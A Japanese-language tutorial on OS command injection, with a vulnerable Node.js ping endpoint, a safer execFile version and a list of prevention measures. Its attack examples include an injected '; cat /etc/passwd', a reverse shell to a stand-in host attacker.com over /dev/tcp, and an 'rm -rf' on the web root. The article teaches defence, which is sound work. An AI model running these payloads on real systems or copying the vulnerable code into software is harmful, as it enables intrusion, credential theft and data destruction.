OSコマンドインジェクション(Command Injection)は、ユーザーがアプリケーションを通じてサーバー上でシステムコマンドを実行できてしまう危険な脆弱性です。成功すれば、攻撃者はファイルの読み書き、ユーザー操作、外部通信、さらには完全なシステム支配すら可能にします。本記事では、その本質・実例・攻撃シナリオ・防止策を2000語レベルで詳しく解説します。
「ユーザーの入力が、サーバーで“実行”されてしまったら? それがOSコマンドインジェクションの怖さです。」
🧩 OSコマンドインジェクションとは?
OSコマンドインジェクション(Operating System Command Injection)とは、アプリケーションがユーザー入力を用いてシステムのシェルコマンドを実行する際に、意図しないコマンドを挿入・実行できてしまう脆弱性です。主にWebアプリケーションやCLIを伴うバックエンド処理などで発生します。
📍例:不適切に処理されたユーザー入力
GET /ping?host=google.com
// サーバー内で処理されると...
exec("ping " + user_input);
このとき、次のように入力されたら?
google.com; cat /etc/passwd
結果はこうなります:
ping google.com
cat /etc/passwd
これにより、サーバー上のパスワードファイルが攻撃者に表示されてしまいます。
🧠 ハッカーによる攻撃シナリオ
- 攻撃対象のWebアプリで「ping」や「nslookup」などを使う機能を探す
- 通常のホスト名を指定して動作確認
- 「;」「|」「&」などの構文を使ってコマンドを連結
- 情報漏洩を狙って `; cat /etc/passwd` を注入
- さらなる攻撃に移行(ファイル改ざん、リバースシェル展開など)
🔥 実際の攻撃例
🚨 1. ファイル閲覧攻撃
example.com/ping?host=127.0.0.1;cat%20/etc/passwd
🚨 2. リバースシェルの設置
127.0.0.1; bash -i >& /dev/tcp/attacker.com/4444 0>&1
🚨 3. ファイル削除攻撃
127.0.0.1; rm -rf /var/www/html
🔬 コード例:脆弱な vs 安全な
❌ 脆弱なコード(Node.js)
const { exec } = require('child_process');
app.get('/ping', (req, res) => {
exec('ping ' + req.query.host, (err, stdout) => {
res.send(stdout);
});
});
✅ 安全なコード(引数分離)
const { execFile } = require('child_process');
app.get('/ping', (req, res) => {
execFile('ping', ['-c', '3', req.query.host], (err, stdout) => {
res.send(stdout);
});
});
🛡️ 防止策
- ✅ OSコマンドの直接使用を避ける
- ✅ execFileやspawnなど、引数分離型のAPIを使用
- ✅ ユーザー入力を厳格にフィルタリング(正規表現など)
- ✅ サニタイズ(シェル文字・記号の除去)
- ✅ 権限を分けたユーザーでアプリを実行(root禁止)
- ✅ WAFやIDSでコマンド構文を検知・ブロック
「exec()関数は便利でも、それはセキュリティの代償になる。“入力”を“実行”する危険を忘れるな。」
📌 まとめ:一行の油断がシステム崩壊を招く
OSコマンドインジェクションは、他の脆弱性とは一線を画す深刻な攻撃です。攻撃者にコマンド実行を許すということは、サーバーの全権限を与えるのと同じ。便利だからと安易にexecやsystem関数を使ってしまうと、取り返しのつかない結果を招きます。
「信頼されないデータを、そのままOSコマンドに渡してはいけない。それはまさに“爆弾の起爆装置”です。」
✅ 今すぐ確認しよう:
- □ exec, system, shell_exec など使っていないか?
- □ コマンド引数を分離しているか?
- □ サニタイズ・フィルタ処理を行っているか?
- □ ログにユーザー入力が残っていないか?
たった一文字の「;」が、全てを壊す可能性がある。OSコマンドインジェクションに絶対の注意を。